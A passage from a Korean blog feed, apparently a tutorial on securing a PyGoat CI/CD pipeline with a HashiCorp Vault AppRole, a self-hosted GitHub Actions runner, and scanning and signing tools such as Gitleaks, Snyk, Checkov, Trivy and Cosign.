&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3) 정책 설정&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778127126046&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# data/ 경로를 명시한 정책 파일 생성
cat &amp;lt;&amp;lt;EOF &amp;gt; github-actions-policy.hcl
# 인프라 공용 시크릿 (Docker, GitHub 등)
path &quot;secret/data/infra/*&quot; {
  capabilities = [&quot;read&quot;]
}

# PyGoat 앱 시크릿 (Django Key, DB PW 등)
path &quot;secret/data/pygoat/*&quot; {
  capabilities = [&quot;read&quot;]
}

# 보안 도구 시크릿 (Snyk, SonarQube 등)
path &quot;secret/data/security/*&quot; {
  capabilities = [&quot;read&quot;]
}
EOF&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 정책(Policy)만 수동으로 data를 써야 하는가?&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;명령어 (CLI):&lt;/b&gt; 사용자의 편의를 위해 Vault 프로그램이 중간에 data를 자동으로 붙여서 서버에 요청을 보냄.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;정책 (Policy):&lt;/b&gt; 보안의 핵심인 정책은 &quot;가장 낮은 수준의 실제 경로&quot;를 직접 통제해야 함. 따라서 자동 완성 기능 없이, 관리자가 실제 물리적 경로인 data/를 명시해야만 권한 검사(Validation)를 통과할 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 정책 등록 및 리스트 확인&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778127410650&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 정책 등록
vault policy write github-actions-policy github-actions-policy.hcl

# 2. 등록된 정책 리스트 확인
vault policy list

# 3. 정책 내용이 잘 들어갔는지 최종 확인
vault policy read github-actions-policy&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;AppRole 생성&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;RoleID (아이디 역할):&lt;/b&gt; 특정 서비스(예: PyGoat)를 식별하는 값. 외부에 노출되어도 이 값만으로는 금고를 열 수 없음.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;SecretID (비밀번호 역할):&lt;/b&gt; 금고를 열기 위한 실제 열쇠. Vault 내부에서만 생성되며, 유출 시 즉시 폐기 가능.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;신뢰의 결합:&lt;/b&gt; RoleID와 SecretID가 &lt;b data-index-in-node=&quot;26&quot; data-path-to-node=&quot;8,2,0&quot;&gt;둘 다 있어야만&lt;/b&gt; Vault가 임시 통행증(Token)을 발급해 줌.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 이점&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;최소 권한 부여 (Least Privilege):&lt;/b&gt; * &quot;사람&quot; 계정은 관리자 권한을 가질 때가 많지만, github-actions-role은 오직 pygoat 시크릿만 읽을 수 있도록 정책으로 묶여 있음.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;책임 추적 (Audit):&lt;/b&gt; * 로그를 확인했을 때 &quot;누가&quot; 시크릿을 가져갔는지 명확히 기록됨 (예: &quot;AppRole: github-actions-role이 13:05에 시크릿 조회&quot;).&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,2,0&quot;&gt;자동화 최적화:&lt;/b&gt; * GitHub Actions 같은 자동화 도구가 프로그래밍 방식으로 시크릿을 안전하게 호출하기 위해 설계된 표준 방식임.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;approle 엔진 활성화 및 생성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778128138597&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. AppRole 인증 엔진 활성화 (이미 활성화되어 있다면 무시됨)
vault auth enable approle

# 2. github-actions라는 이름의 Role 생성 및 정책 연결
# secret_id_num_uses=0 : SecretID 사용 횟수 무제한 (실습 편의성)
# token_ttl=1h : 발급된 토큰의 유효시간 1시간
vault write auth/approle/role/github-actions-role \
    token_policies=&quot;github-actions-policy&quot; \
    token_ttl=1h \
    token_max_ttl=4h&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 정보 추출&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778128262294&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. RoleID 확인 (아이디)
vault read auth/approle/role/github-actions-role/role-id

# 2. SecretID 생성 및 확인 (비밀번호 - 생성할 때마다 바뀜)
vault write -f auth/approle/role/github-actions-role/secret-id&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;github secret에 vault 정보 등록&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,1,0,0&quot;&gt;VAULT_ADDR&lt;/b&gt;: https://127.0.0.1:8200 (우리가 만든 Vault 주소)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,1,1,0&quot;&gt;VAULT_ROLE_ID&lt;/b&gt;: 아까 복사한 &lt;b data-index-in-node=&quot;22&quot; data-path-to-node=&quot;8,1,1,1,0&quot;&gt;RoleID&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,1,2,0&quot;&gt;VAULT_SECRET_ID&lt;/b&gt;: 아까 복사한 &lt;b data-index-in-node=&quot;24&quot; data-path-to-node=&quot;8,1,1,2,0&quot;&gt;SecretID&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,1,3,0&quot;&gt;VAULT_SKIP_VERIFY&lt;/b&gt;: true (로컬 사설 인증서 사용 시 검증 건너뛰기 설정용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;3-3) Self-hosted-runner&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;GitHub Actions의 작업(Job)을 GitHub가 제공하는 공용 서버가 아닌, 사용자가 직접 관리하는 서버(내 WSL2)에서 실행하는 방식&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;사용 이유&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;로컬 네트워크 접근 (Private Access):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;8,0,1&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;GitHub 서버는 내 컴퓨터의 127.0.0.1:8200에 접속할 수 없음.&lt;/li&gt;
&lt;li&gt;내 컴퓨터 안에서 도는 Runner는 로컬 Vault에 자유롭게 접속하여 시크릿을 가져올 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;보안성 (No Inbound):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;8,1,1&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;외부에서 내 컴퓨터로 들어오는 문(포트)을 열 필요가 없음.&lt;/li&gt;
&lt;li&gt;Runner가 GitHub에 접속해서 &quot;할 일 있니?&quot;라고 물어보고 가져오는 방식(Outbound)이라 안전함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;비용 및 자원 최적화 : &lt;/b&gt;이미 구축된 WSL2의 도구들(Docker, Python, Vault CLI)을 별도 설치 없이 바로 활용 가능함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;설치 방법&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12&quot;&gt; GitHub 저장소 설정 (웹)&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;저장소 상단 &lt;b data-index-in-node=&quot;7&quot; data-path-to-node=&quot;13,0,0&quot;&gt;Settings&lt;/b&gt; 클릭.&lt;/li&gt;
&lt;li&gt;왼쪽 메뉴에서 &lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;13,1,0&quot;&gt;Actions&lt;/b&gt; &amp;rarr; &lt;b data-index-in-node=&quot;18&quot; data-path-to-node=&quot;13,1,0&quot;&gt;Runners&lt;/b&gt; 선택.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,2,0&quot;&gt;New self-hosted runner&lt;/b&gt; 버튼 클릭.&lt;/li&gt;
&lt;li&gt;Runner 이미지 선택: &lt;b data-index-in-node=&quot;15&quot; data-path-to-node=&quot;13,3,0&quot;&gt;Linux&lt;/b&gt; / 아키텍처: &lt;b data-index-in-node=&quot;29&quot; data-path-to-node=&quot;13,3,0&quot;&gt;x64&lt;/b&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후 화면에 나오는 명령어 순서대로 복사해서 실행&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시)&lt;/p&gt;
&lt;pre id=&quot;code_1778139602975&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 폴더 생성 및 이동
mkdir actions-runner &amp;amp;&amp;amp; cd actions-runner

# 설치 파일 다운로드 (화면의 curl 명령어 복사)
curl -o actions-runner-linux-x64-2.xxx.x.tar.gz -L https://github.com/...

# 압축 해제
tar xzf ./actions-runner-linux-x64-2.xxx.x.tar.gz
# Runner 등록 (화면의 ./config.sh 명령어 복사)
./config.sh --url https://github.com/사용자ID/저장소명 --token 복사한토큰

# 실행 (일꾼 가동 시작!)
./run.sh

run.sh는 터미널을 끄면 같이 종료되므로 아래는 서비스로 등록하여 백그라운드에서 돌게만드는방법

# 1. 서비스 설치 (관리자 권한 필요)
sudo ./svc.sh install

# 2. 서비스 시작
sudo ./svc.sh start

# 3. 상태 확인
sudo ./svc.sh status&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도커 소켓 권한 부여&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778171896898&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo usermod -aG docker $USER
sudo chown taemin:docker /var/run/docker.sock
sudo chmod 660 /var/run/docker.sock&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-4) 자동화&amp;nbsp;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-path-to-node=&quot;4&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style14&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;구분&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;기존 (1주차)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;변경 (통합 가드레일)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;비고&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,1,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0,0&quot;&gt;비밀번호 관리&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,1,1,0&quot;&gt;GitHub Secrets 직접 참조&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,1,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,2,0&quot;&gt;HashiCorp Vault&lt;/b&gt; 연동 및 동적 주입&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,1,3,0&quot;&gt;보안성 강화 (ZTA)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,2,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0,0&quot;&gt;실행 환경&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,2,1,0&quot;&gt;ubuntu-latest (공용)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,2,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,2,0&quot;&gt;self-hosted&lt;/b&gt; (자체 호스팅)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,2,3,0&quot;&gt;인프라 통제권 확보&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,3,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0,0&quot;&gt;작업 구조&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,3,1,0&quot;&gt;2개 Job (Scan &amp;rarr; Build)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,3,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,2,0&quot;&gt;1개 통합 Job (pipeline)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,3,3,0&quot;&gt;오버헤드 감소 및 속도 향상&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,4,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,4,0,0&quot;&gt;이미지 태그&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,4,1,0&quot;&gt;hardened (고정)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,4,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,4,2,0&quot;&gt;${{ github.sha }}&lt;/b&gt; (동적)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,4,3,0&quot;&gt;추적성 및 무결성 강화&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,5,0,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,5,0,0&quot;&gt;도구 실행&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,5,1,0&quot;&gt;Actions 라이브러리 위주&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,5,2,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,5,2,0&quot;&gt;Docker Run 직접 호출&lt;/b&gt; (Gitleaks 등)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;4,5,3,0&quot;&gt;도구 종속성 제거&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre id=&quot;code_1778268566458&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 파이프라인 명칭: DevSecOps 1~2주차 통합 가드레일
# 주요 목적: 시크릿 탐지, SAST, SCA, 이미지 하드닝, 취약점 리포팅, 이미지 서명 자동화
name: DevSecOps 2-Week Automation Pipeline

env:
  IMAGE_TAG: ${{github.sha}}
permissions:
  contents: read # 코드 스캔을 위해 리포지토리 콘텐츠 읽기 권한 필요
  id-token: write # SonarCloud 인증을 위한 OIDC 토큰 발급 권한
  pull-requests: write # PR에 보안 분석 결과 코멘트 작성 권한 (옵션)
  security-events: write # checkov나 trivy 결과를 github security tab에 업로드
on:
  push:
    branches: [ &quot;main&quot; ] # main 브랜치에 코드 푸시 시 자동 실행
  pull_request:
    branches: [ &quot;main&quot; ] # PR 생성 시 보안 검사 강제화

jobs:
  pipeline:
    name: Security Build &amp;amp; Supply Chain
    runs-on: self-hosted # 자체 호스팅 러너에서 실행되어 더 강력한 보안 검사
    steps:
      - name: Checkout Code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0 # 모든 커밋 히스토리를 가져와 Gitleaks가 전체 이력을 스캔할 수 있도록 설정

      # ---------------------------------------------------------
      # 1. Vault Secret Injection (환경 변수 주입)
      # ---------------------------------------------------------
      - name: Import Secrets from Vault
        uses: hashicorp/vault-action@v3
        with:
          url: ${{ secrets.VAULT_ADDR }}
          tlsSkipVerify: true
          method: approle
          roleId: ${{ secrets.VAULT_ROLE_ID }}
          secretId: ${{ secrets.VAULT_SECRET_ID }}
          secrets: |
            secret/data/infra/sonarqube host_url | SONAR_HOST_URL ;
            secret/data/infra/sonarqube token | SONAR_TOKEN ;
            secret/data/infra/sonarqube org_key | SONAR_ORG_KEY ;
            secret/data/infra/sonarqube project_key | SONAR_PROJECT_KEY ;
            secret/data/infra/common snyk_token | SNYK_TOKEN ;
            secret/data/infra/common snyk_org_id | SNYK_ORG_ID ;
            secret/data/infra/common dockerhub_username | DOCKERHUB_USERNAME ;
            secret/data/infra/common dockerhub_token | DOCKERHUB_TOKEN ;
            secret/data/infra/common gh_token | GH_TOKEN ;
            secret/data/security/cosign key | COSIGN_KEY ;
            secret/data/security/cosign password | COSIGN_PASSWORD
            
      # ---------------------------------------------------------
      # 2. Static Analysis (Gitleaks, SonarQube, Snyk, Checkov)
      # ---------------------------------------------------------      
      # 2-1. Gitleaks: 커밋 히스토리 내 평문 시크릿(API Key, Password 등) 탐지
      - name: Gitleaks Scan
        run: |
          # ${PWD} 대신 ${{ github.workspace }}를 사용하여 경로 무결성 확보
          /usr/bin/docker run --rm \
            -v ${{ github.workspace }}:/path \
            zricethezav/gitleaks:latest detect --source=&quot;/path&quot; -v --exit-code=2
      # 2-2. SonarQube: 정적 코드 분석을 통해 취약한 코드 패턴(XSS, SQLi 등) 탐지
      - name: SonarCloud Scan 
        uses: SonarSource/sonarcloud-github-action@master
        env:
          GITHUB_TOKEN: ${{ env.GH_TOKEN }}
          SONAR_TOKEN: ${{ env.SONAR_TOKEN }}
        with:
          args: &amp;gt;
            -Dsonar.projectKey=${{ env.SONAR_PROJECT_KEY }}
            -Dsonar.organization=${{ env.SONAR_ORG_KEY }}
            -Dsonar.host.url=${{ env.SONAR_HOST_URL }}
            -Dsonar.qualitygate.wait=false # 분석 완료를 기다리지 않고 비동기로 진행

      # SonarQube 분석 결과를 바탕으로 품질 게이트 통과 여부 확인 (사용자 정의 스크립트)
      - name: Custom Security Gate Check
        run: python check_gate.py &quot;${{ env.SONAR_PROJECT_KEY }}&quot; &quot;${{ env.SONAR_TOKEN }}&quot;

      # 2-3. Snyk: 오픈소스 라이브러리(SCA) 내 알려진 취약점(CVE) 스캔
      - name: Run Snyk Test
        continue-on-error: true # 학습용 PyGoat은 취약점이 많으므로 중단 없이 결과만 확인
        env:
          SNYK_TOKEN: ${{ env.SNYK_TOKEN }}
        run: |
          # requirements.txt 기반으로 라이브러리 보안성 검사
          snyk test --file=requirements.txt --org=${{ env.SNYK_ORG_ID }} --skip-unresolved=true

      # 2-4. Checkov: Infra(Terraform) 및 Container(Dockerfile) 보안 스캔
      - name: Run Checkov Scan (Full IaC Scrutiny)
        id: checkov
        uses: bridgecrewio/checkov-action@v12.2983.0 # v3 계열의 안정된 버전 사용 (공급망 보안 버전 고정 원칙)
        with:
          directory: . # 프로젝트 루트(.) 내의 모든 테라폼 파일과 Dockerfile을 스캔 대상으로 지정
          skip_path: dockerized_labs # 실습 예제 제외 
         
          soft_fail: false   # false: 보안 결함(Failed) 발견 시 Exit Code 1을 발생시켜 파이프라인 즉시 중단
          
          framework: all # 테라폼과 Docker를 포함한 모든 지원 프레임워크 자동 탐지
          
          output_format: cli # 보안 분석 결과를 CLI 형태로 상세 출력
        
      # ---------------------------------------------------------
      # 3. Build &amp;amp; Hardening &amp;amp; Supply Chain (Trivy, Syft, Cosign)
      # ---------------------------------------------------------
      #3-1 Docker 이미지 빌드 (Hardened Tag 적용) Dockerfile의 멀티 스테이지 빌드와 비특권 사용자 설정이 반영된 이미지 생성
      - name: Build Docker Image
        run: |
          docker build -t ${{ env.DOCKERHUB_USERNAME }}/pygoat:${{ env.IMAGE_TAG }} .

      #3-2 Trivy: 빌드된 이미지 내 OS 패키지 및 라이브러리 취약점 진단
      - name: Run Trivy Image Scan (Report Only)
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: '${{ env.DOCKERHUB_USERNAME }}/pygoat:${{ env.IMAGE_TAG }}'
          format: 'table'
          exit-code: '0' # 취약점이 발견되어도 리포트 생성 후 빌드 지속 (사용자 요청 반영)
          severity: 'CRITICAL,HIGH' # 고위험군 취약점 집중 출력

      # 리포트 저장을 위한 JSON 포맷 스캔 별도 실행
      - name: Generate JSON Report for Artifact
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: '${{ env.DOCKERHUB_USERNAME }}/pygoat:${{ env.IMAGE_TAG }}'
          format: 'json'
          output: 'trivy-report.json'
          exit-code: '0'

      # Artifact 업로드: 파이프라인 종료 후 GitHub Actions 결과 탭에서 취약점 리포트 다운로드 가능
      - name: Upload Trivy Scan Report
        uses: actions/upload-artifact@v4
        with:
          name: trivy-vulnerability-report
          path: trivy-report.json

      #3-3 Docker Hub 로그인 및 푸시
      - name: Login to Docker Hub
        uses: docker/login-action@v3
        with:
          username: ${{ env.DOCKERHUB_USERNAME }}
          password: ${{ env.DOCKERHUB_TOKEN }}

      - name: Push Docker Image
        run: docker push ${{ env.DOCKERHUB_USERNAME }}/pygoat:${{ env.IMAGE_TAG }}

      #3-4 Syft: 소프트웨어 자재 명세서(SBOM) 생성 (공급망 보안 가시성 확보)
      - name: Generate SBOM (Syft)
        run: |
          docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
            anchore/syft ${{ env.DOCKERHUB_USERNAME }}/pygoat:${{ env.IMAGE_TAG }} -o spdx-json &amp;gt; sbom.spdx.json

      #3-5. Cosign: 이미지 무결성 증명을 위한 전자 서명 및 SBOM 어테스테이션
      - name: Sign &amp;amp; Attest Image
        run: |
          printf &quot;%s&quot; &quot;${{ env.COSIGN_KEY }}&quot; &amp;gt; cosign.key # 환경 변수의 개인키를 파일로 생성
          
          # 이미지 서명: 배포된 이미지가 변조되지 않았음을 증명
          cosign sign --key cosign.key -y ${{ env.DOCKERHUB_USERNAME }}/pygoat:${{ env.IMAGE_TAG }}
          
          # SBOM 어테스테이션: 빌드 당시의 의존성 정보를 이미지에 영구 결합 (VEX 등에 활용)
          cosign attest --key cosign.key --type spdxjson --predicate sbom.spdx.json -y ${{ env.DOCKERHUB_USERNAME }}/pygoat:${{ env.IMAGE_TAG }}
        env:
          COSIGN_KEY: ${{ env.COSIGN_KEY }}
          COSIGN_PASSWORD: ${{ env.COSIGN_PASSWORD }}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;350&quot; data-origin-height=&quot;648&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VLuyB/dJMcaf7Ag0G/khS2XrCg8mMskViDuTdln1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VLuyB/dJMcaf7Ag0G/khS2XrCg8mMskViDuTdln1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VLuyB/dJMcaf7Ag0G/khS2XrCg8mMskViDuTdln1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVLuyB%2FdJMcaf7Ag0G%2FkhS2XrCg8mMskViDuTdln1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;350&quot; height=&quot;648&quot; data-origin-width=&quot;350&quot; data-origin-height=&quot;648&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Project/Devsecops</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/156</guid>
      <comments>https://taemin01.tistory.com/156#entry156comment</comments>
      <pubDate>Fri, 1 May 2026 17:08:40 +0900</pubDate>
    </item>
    <item>
      <title>PyGoat DevSecOps (1) - 2 [Code&amp;amp;Supply chain 자동화]</title>
      <link>https://taemin01.tistory.com/155</link>
      <description>&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;개념&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;1. 자동화 (DevSecOps)의 필요성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수동으로 보안 도구를 실행할 때 발생하는 가장 큰 문제는 사람의 실수와 속도 저하이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
